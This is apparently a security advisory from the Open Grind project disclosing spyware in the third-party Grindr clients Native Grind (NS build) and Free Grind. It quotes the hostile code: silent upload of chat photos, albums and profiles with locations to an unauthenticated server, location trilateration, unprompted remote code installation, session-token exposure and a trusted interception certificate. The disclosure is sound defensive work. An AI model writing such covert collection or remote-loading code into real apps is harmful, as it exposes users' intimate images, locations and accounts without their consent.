Skip to content

Malware Third-party Grindr Clients advisory (2026-10-22) ​

Open Grind contributors have conducted security research on the Grindr reverse-engineering scene and discovered malware in several other third-party Grindr clients created by the users imaoreo/[redacted][1] and Flo/Fdev/FGDU.

None of these projects are affiliated with or affect the security of Open Grind.

Native Grind and Native Server ​

Native Grind's "NS" build is spyware that leaks data to Native Server (nativeserver.imaoreo.dev), run by the same developer, imaoreo.

Summary

If you used the NS version of Native Grind, it collected the photos and videos in your chats (“nudes”), including expiring and private albums, and uploaded them unencrypted to the developer's server, where both the developer and anyone with a link could open and view them. It also collected the profile and approximate location of everyone it showed you. What to do

Affected versions ​

ComponentVersionsAffected
NativeGrind (NS) for iPhone1.0 (NativeGrind-NS.ipa), published 2026-09-27Yes
Native ServerCode from 2026-08-04 to 2026-10-04, ran at nativeserver.imaoreo.devYes

The 1.0 builds were listed in the project's AltStore source and README. The server added each kind of collection on these dates:

  • 2026-08-04: profiles and profile history
  • 2026-08-06: everyone shown in the grid, and a public profile search
  • 2026-08-10: location estimates in that search
  • 2026-09-24: photos and videos from private chats
  • 2026-09-25: private album contents, including videos

Source snapshots[2]: NativeGrind-Swift at a4891ba and NativeServer at 1dea838.

Chat media upload ​

Every chat photo or video the app saves or downloads goes to backUp (chatMediaController.swift#L95-L99), which only checks for a non-test build and a Native Server account (#L143-L148) and then uploads the file (#L162-L166). There's no setting to turn it off.

swift
public func keep(_ data: Data, key: String, isVideo: Bool) async {
    guard Self.isValidHash(key) else { return }
    save(data, to: localURL(for: key, fileExtension: isVideo ? "mp4" : nil))
    Task { await self.backUp(hash: key, data: data) }
}
swift
private func backUp(hash: String, data: Data) async {
    guard !appEnvironment.isTesting,
          !knownOnServer.contains(hash),
          await wsController.shared.isServerAuthorized else {
        return
    }
swift
let response = await wsController.shared.sendAndWait(
    request: .uploadChatMedia(mediaHash: hash, base64Data: data.base64EncodedString()),
    expectedEvent: .onChatMediaUploaded,
    timeout: 120
)

Shared album upload ​

Opening a shared album uploads every item the server doesn't have yet (albumController.swift#L100-L105), limited-view items first (#L138, #L176-L178).

swift
if let album, let owner {
    let alreadyStored = Set(stored?.items.map(\.contentId) ?? [])
    let missing = album.content.filter { !alreadyStored.contains($0.contentId) && !$0.processing }
    if !missing.isEmpty {
        Task { await self.backUp(missing, albumId: albumId, ownerProfileId: owner) }
    }
swift
let ordered = contents.sorted { isLimited($0) && !isLimited($1) }
swift
private func isLimited(_ content: albumContent) -> Bool {
    (content.remainingViews ?? -1) > 0
}

Profile and location collection ​

Every grid load sends all profiles in it with the user's location (profileController.swift#L208-L222), and every opened profile is sent whole, including any HIV status and last test date (#L42-L44).

swift
let serverAuthorized = await wsController.shared.isServerAuthorized
if serverAuthorized {
    Task {
        let response = await wsController.shared.sendAndWait(
            request: .syncGrid(profiles: profiles, geohash: geohash),
            expectedEvent: .onGridSynced
swift
if await wsController.shared.isServerAuthorized {
    let geohash = await locationController.shared.currentGeohash
    await wsController.shared.send(request: .syncSeenProfile(profile: profile, geohash: geohash))

The server keeps the full profile and each distance with the viewer's location (schema.prisma#L27, #L54), then estimates where each person is and filters its profile search by that estimate (api.ts#L274-L279).

prisma
rawData               String                 // Stores the full raw JSON of the profile
prisma
geohash   String        // Geohash of the querying client
ts
const estLoc = trilaterate(points);
if (estLoc) {
  const dist = getHaversineDistance(latitudeVal, longitudeVal, estLoc.lat, estLoc.lon);
  if (dist <= radiusVal) {
    matchingIds.push(profile.id);
  }

Unauthenticated access ​

The server mounts its profile search with no sign-in check and accepts requests from any website (server.ts#L24-L35), and serves chat photos and videos the same way (#L61-L72). The project's README confirms: "backed up profiles and media are not [encrypted], and are served to anyone who knows their identifier".

ts
// Enable CORS
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  if (req.method === 'OPTIONS') {
    return res.sendStatus(200);
  }
  next();
});

app.use('/api', apiRouter);
ts
app.get('/public/cache/chat/:mediaHash', (req, res) => {
  const media = findChatMediaFile(req.params.mediaHash);
  if (!media) {
    res.status(404).send('Not Found');
    return;
  }

  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Cache-Control', 'public, max-age=604800, immutable');
  res.type(media.contentType);
  res.sendFile(path.resolve(media.filePath));
});

Contribution-gated access to collected data ​

A user could read what others collected only after their own app had uploaded a grid within the last 7 days (nsAccess.swift#L30-L32).

swift
public static var canReadShared: Bool {
    appEnvironment.isServerEnabled && hasAccount && hasContributed
}

Disclosure to users ​

The NS build's consent screen said only "This version of NativeGrind uses NativeServer for sync and backups" and linked a privacy policy that is no longer online (legalAcceptanceView.swift#L31). The people whose photos, albums and profiles it collected were never told.

Correction (2026-10-23)

The developer provided the policy the consent screen linked to (version 2026-09-26). Its section 4 told the app's user that profiles, profile photos, and chat and album media are sent to NativeServer unencrypted, some open to anyone with the identifier, with the user's approximate location, while its summary said "Your synced data is encrypted on your device with a key only your devices hold. We can't read it." The people whose data was collected were still not told. The developer also states that the project and server were shut down and all server data deleted before publication (cancellation commit a4891ba, 2026-10-04). We can't verify the deletion.

If you used it ​

Uninstall it. Assume that photos and videos in your chats, and albums shared, were copied to the developer's Native Server. Its data was kept in /[redacted]/images and /[redacted]/postgres[1:1] (docker-compose.yml).

Signatures ​

None yet.

To security researchers: sign with PGP

Fill in the fields, sign with gpg --clearsign --local-user YOUR_KEY_ID and send the result to admin@opengrind.org.

text
Malware Third-party Grindr Clients advisory (2026-10-22), Native Grind and Native Server
https://opengrind.org/guides/security/malware-third-party-grindr-clients-advisory-2026-10-22

I reviewed these snapshots archived by Software Heritage:
- NativeGrind-Swift swh:1:rev:a4891bae329cfbb2433c722a9d60e030cfb4e5dd, swh:1:dir:ec0edb66d25576a91c0f9192a48950ff4c9d9c7e (origin https://github.com/imaoreo/NativeGrind-Swift)
- NativeServer swh:1:rev:1dea838b87eb5fbb9cd8191085bd46583c84c609, swh:1:dir:0b331e13ab33f9886dbb8ba85700704b918c9353 (origin https://github.com/imaoreo/NativeServer)

I confirm these facts:
1. NativeGrindCore/Sources/NativeGrindCore/controllers/chatMediaController.swift, swh:1:cnt:05de32205f9e986205b996f9b7b5e02bbe04d051, lines 95-99, 143-148 and 162-166: the app uploads every chat photo and video it saves or downloads to Native Server. The only conditions are a non-test build and a Native Server account.
2. NativeGrindCore/Sources/NativeGrindCore/controllers/albumController.swift, swh:1:cnt:57ac90b7eba989a377cb0e8106915380f8c1c239, lines 100-105, 138 and 176-178: opening a shared album uploads its items, limited-view items first.
3. NativeGrindCore/Sources/NativeGrindCore/controllers/profileController.swift, swh:1:cnt:c21005bab09486cbd7dd98a44e19a4745530b0dd, lines 42-44 and 208-222: the app sends every opened profile and every grid of profiles together with the user's location.
4. prisma/schema.prisma, swh:1:cnt:71e4a17b27e7caf7531579e7d751a470486d4ecb, lines 27 and 54, and src/routes/api.ts, swh:1:cnt:49ad0b96cb3492de3ab1c6210b3fdcfbc39d33f2, lines 274-279: the server stores full profiles with the viewer's location and searches them by estimated location.
5. src/server.ts, swh:1:cnt:e6be6c21b5759a624fbfc0d1640b10f33a5e3cbc, lines 24-35 and 61-72: the server serves profile searches and chat media without authentication.

Based on these facts, Native Server, together with the NativeGrind (NS) app, includes malicious functionality: it collects other people's private photos, videos, albums and profiles without their knowledge and exposes them publicly.

Name:
PGP key fingerprint: <gpg --fingerprint YOUR_KEY_ID>
Date: 2026-XX-XX

Free Grind ​

Free Grind is a project led by the same developer, imaoreo/[redacted][1:2], at imaoreo/free-grind, based on Open Grind's code. Since 2026-10-05 it's developed at fdev8974/free-grind.

Summary

Every time Free Grind launches, it sends a request to a third party service, dynamically downloads new app code and installs it without asking. The developers can change what the app does on your device at any time, without a new release. That code has access to your Grindr login, chats and photos. Builds from April and early May 2026 could also let the developer decrypt your Grindr traffic. What to do

Affected versions ​

ReleasesCode comes fromSigning key
v0.0.4 to v0.5.3 (2026-04-28 to 2026-07-15), imaoreo/free-grindgrindapi.imaoreo.devRWRJW9mx…
v0.5.4 to v1.0.0-beta.17 (2026-10-05 to 2026-10-17), fdev8974/free-grindfreegrind-ota-{channel}.surge.shRWQfowNc…
1.0.0 APK shared outside GitHub, SHA-256 a37c8b31d7ded1f4a9ea468e802c0b69ec2f4e476b034232c7777e2296f8844dfreegrind-ota-{channel}.surge.shRWQfowNc…

The first builds of 2026-04-28, named Open Grind v0.0.1, v0.0.3 and v0.0.3b, don't load remote code. The 1.0.0 APK has the same code server and key built in:

sh
unzip -p app-universal-release.apk lib/arm64-v8a/libopen_grind_lib.so | strings | grep -E 'freegrind-ota|Serving from OTA'

Source snapshots: fdev8974/free-grind at a456c1e and imaoreo/free-grind at 197b316.

Runtime-loaded remote code ​

At startup, every production build outside its "manager" mode calls autoCheckAndInstallUpdate (main.tsx#L39-L43), which installs new code and reloads the app straight away (hotswap.ts#L139-L145). The code comes from the server set in tauri.conf.json#L36-L39.

ts
if (!renderManager) {
	// Only enable Hotswap OTA updates for child app mode in production.
	// Manager mode should stay on the local manager UI bundle.
	if (import.meta.env.PROD) {
		void markHotswapStartupReady().then(() => autoCheckAndInstallUpdate());
ts
if (result.available) {
	appLog.debug("[hotswap] Auto-installing available update...");
	await installHotswapUpdate();

	appLog.debug("[hotswap] Applying update immediately...");
	window.location.reload();
}
json
"hotswap": {
	"endpoint": "https://freegrind-ota-{{channel}}.surge.sh/latest.json",
	"pubkey": "RWQfowNcYziP1BnTEyNrdZk2MymsuGVoCeqqtGE3OfpYfLqnvAvCS9JX"
}

It was added on 2026-04-28 in commit 1572632 "fix: hotswap" (hotswap.ts#L128-L131).

ts
} catch (error) {
	console.error("[hotswap] Auto-update check failed:", error);
	// Silently fail - don't interrupt user experience
}

Session token exposure ​

The downloaded code can get your Grindr session token from the websocket_token command (auth.rs#L953-L977), which is open to it (api::auth::websocket_token, in lib.rs#L176). The app sets no Content Security Policy ("csp": null in tauri.conf.json#L23), so that code can send the token to any server. The bundles served on 2026-10-22 use it only to connect to Grindr's chat service, and both rebuild byte-for-byte from the public commits a456c1e (main) and ae33d5f (development).

rust
#[tauri::command]
pub async fn websocket_token(state: tauri::State<'_, AppState>) -> Result<Option<String>, AppError> {
    let client = state.client()?;

    // A resumed session has no token until its first refresh.
    let needs_refresh = match client.session_receiver().borrow().as_ref() {
        None => return Ok(None),
        Some(session) => session.token.as_ref().is_none_or(|token| {
            token.expires_at < chrono::Utc::now().timestamp() as u64 + 60
        }),
    };

    if needs_refresh {
        if let Err(grindr::GrindrError::Unauthorized { .. }) = client.refresh_session().await {
            return Err(AppError::TokenExpired);
        }
    }

    Ok(client
        .session_receiver()
        .borrow()
        .as_ref()
        .and_then(|s| s.token.as_ref())
        .map(|token| token.session_id.clone()))
}

Trusted interception certificate (v0.0.1 to v0.5.0) ​

Builds published from 2026-04-28 to 2026-05-07 trusted the developer's HTTP Toolkit certificate for their Grindr API connections on every platform except Windows. HTTP Toolkit reads encrypted traffic, so whoever holds that certificate's private key could read these users' Grindr traffic, including their login, whenever they could get between the user and Grindr, for example on the same network. Affected: v0.0.4, v0.5.0, and three builds published on 2026-04-28 as "Open Grind" v0.0.1, v0.0.3 and v0.0.3b on imaoreo/free-grind. Official Open Grind releases never contained this certificate.

The app looks for the certificate on the developer's own computer, then falls back to a copy built into the app (client.rs#L18-L21, #L108-L113, release v0.5.0 at 9a79fe2). It was added on 2026-04-20 in 62fc5ab and removed on 2026-05-09 in 326622e.

rust
#[cfg(not(target_os = "windows"))]
const DEFAULT_HTTP_TOOLKIT_CA_PATH: &str = "/Users/<REDACTED>/Library/Preferences/httptoolkit/ca.pem";
#[cfg(not(target_os = "windows"))]
const EMBEDDED_HTTP_TOOLKIT_CA_PEM: &[u8] = include_bytes!("../../certs/httptoolkit-ca.pem");
rust
if !custom_ca_loaded {
    match Certificate::from_pem(EMBEDDED_HTTP_TOOLKIT_CA_PEM) {
        Ok(cert) => {
            println!("Loaded embedded HTTP Toolkit CA certificate");
            builder = builder.add_root_certificate(cert);
        }

Release integrity ​

Free Grind's app downloads can't be rebuilt from source to check them, and its releases are handled loosely:

  • Builds use whatever toolchain is current that day: dtolnay/rust-toolchain@stable, Bun without a pinned version and *-latest runners (release-main.yml#L150-L153), with no rust-toolchain file or build instructions. Its three lockfiles disagree: package-lock.json and pnpm-lock.yaml lack dependencies that bun.lock has, such as @anthropic-ai/sdk.
  • Release tags don't point at the commit that was built: on 2026-10-22, tag main-a456c1eb… pointed to 8825b02.
  • Seven release files were uploaded by hand instead of by CI: the v0.5.2 IPA and DMG by imaoreo, and the v0.5.3 IPA, Windows installer, RPM, AppImage and DEB by fdev8974.
  • Windows and macOS builds are unsigned, iPhone builds are made with signing turned off (release-main.yml#L624), and no download comes with a checksum or a separate signature file, except the remote code bundles attached to some releases.
  • The Android release key also signs test builds started by hand on any branch (build-artifacts.yml#L143-L148). The 1.0.0 APK above is one, built from commit 484f1cb, and it reports the same version as a release would.
  • The key that signs remote code can be used from a developer's computer, not only from CI (publish-ota.mjs#L96-L97).

Trilateration ​

Free Grind includes a trilateration feature (analogous to triangulation), "Locate", which estimates other users' locations without their consent (useLocateProfile.tsx#L26, #L209). It's off until the user turns it on (optionalFeatures.ts#L30-L31). This malicious feature not only harms the privacy of members of the vulnerable queer community, but also puts users who share their location in real time in immediate danger, and, depending on your region, may be illegal. Such a feature has no place in Open Grind or any other respectable third-party Grindr client.

If you used it ​

Uninstall it. Older builds (v0.0.4 to v0.5.3) still accept new code from grindapi.imaoreo.dev whenever that server comes back.

Signatures ​

None yet.

To security researchers: sign with PGP

Fill in the fields, sign with gpg --clearsign --local-user YOUR_KEY_ID and send the result to admin@opengrind.org.

text
Malware Third-party Grindr Clients advisory (2026-10-22), Free Grind
https://opengrind.org/guides/security/malware-third-party-grindr-clients-advisory-2026-10-22

I reviewed these snapshots archived by Software Heritage:
- free-grind swh:1:rev:a456c1eb1608067532f1a43891e7de3b19424860, swh:1:dir:580d0156474e1f435c2bdad6091e3a7b0799d218 (origin https://github.com/fdev8974/free-grind)
- free-grind swh:1:rev:1572632677cc4d44ba8ec5724d1cd8df36d0ab5f (origin https://github.com/imaoreo/free-grind)
- free-grind release v0.5.0 swh:1:rev:9a79fe2deabd574d9b9cff5db23609668da947fe (origin https://github.com/imaoreo/free-grind)

I confirm these facts:
1. src/main.tsx, swh:1:cnt:a8c4fab2c28e21bcaf612f9803ac6e00aee80711, lines 39-43: every production build calls autoCheckAndInstallUpdate at startup, except in its "manager" mode.
2. src/services/hotswap.ts, swh:1:cnt:fbec2ae70b73c0861401873955b632208f8154af, lines 139-145: when new app code is available, the app installs it and reloads without asking the user.
3. src-tauri/tauri.conf.json, swh:1:cnt:ac6fec7102e1bcdc91d9c7f55ab29d525018b42d, lines 36-39: the code comes from https://freegrind-ota-{{channel}}.surge.sh/latest.json and must be signed with the key RWQfowNcYziP1BnTEyNrdZk2MymsuGVoCeqqtGE3OfpYfLqnvAvCS9JX.
4. Commit swh:1:rev:1572632677cc4d44ba8ec5724d1cd8df36d0ab5f, dated 2026-04-28, added the automatic install at startup.
5. src-tauri/src/api/auth.rs, swh:1:cnt:eb4a5d12ac20a1210f4b2fbb7e6a12840071ec59, lines 953-977, src-tauri/src/lib.rs, swh:1:cnt:0913071fcb2ee84e0441e75efd8809c95c4440e1, line 176, and src-tauri/tauri.conf.json, swh:1:cnt:ac6fec7102e1bcdc91d9c7f55ab29d525018b42d, line 23: the code loaded at runtime can obtain the user's Grindr session token through the websocket_token command, and the app sets no Content Security Policy.
6. src-tauri/src/api/client.rs at release v0.5.0, swh:1:cnt:9bc68523dae688bee55d1e5dfe28eaa003e77094, lines 18-21 and 108-113: on platforms other than Windows, the Grindr API client trusts an HTTP Toolkit root certificate built into the app.

Based on these facts, Free Grind includes runtime-loaded remote code: its developers can replace the code it runs at any time, without a new release and without the user's confirmation, and that code can read the user's Grindr session token. Releases up to v0.5.0 also trusted the developer's traffic-interception certificate for connections to Grindr.

Name:
PGP key fingerprint: <gpg --fingerprint YOUR_KEY_ID>
Date: 2026-XX-XX

Summary ​

The malware discovered in projects by imaoreo [redacted][1:3] deeply concerns us as the developers and community building free, libre, and open-source third-party Grindr clients. For your security, do not install Native Grind-NS or Free Grind and do not support the malicious practices of the named developers. As always, exercise extra caution when handing your sensitive data to apps with uncertain reputations. If possible, inspect and build the code yourself, or at least verify release reproducibility.


  1. Redacted on 2026-10-23 following the developer's request under UK GDPR Articles 17 and 21: the developer's other aliases, a first name in file paths, and a passage about the developer's conduct. A code excerpt with a <REDACTED> marker differs from the archived snapshot only at the marker. The corrections dated 2026-10-23 were added following a request under Article 16. ↩︎ ↩︎ ↩︎ ↩︎

  2. Software Heritage is a permanent public archive of source code. Its IDs are hashes of the content (swh:1:cnt for a file, swh:1:dir for a file tree, swh:1:rev for a commit), so the original authors can't rewrite or delete the archived copies, and a statement that names them can't be matched to different code. ↩︎

Open Grind is not affiliated with Grindr in any way.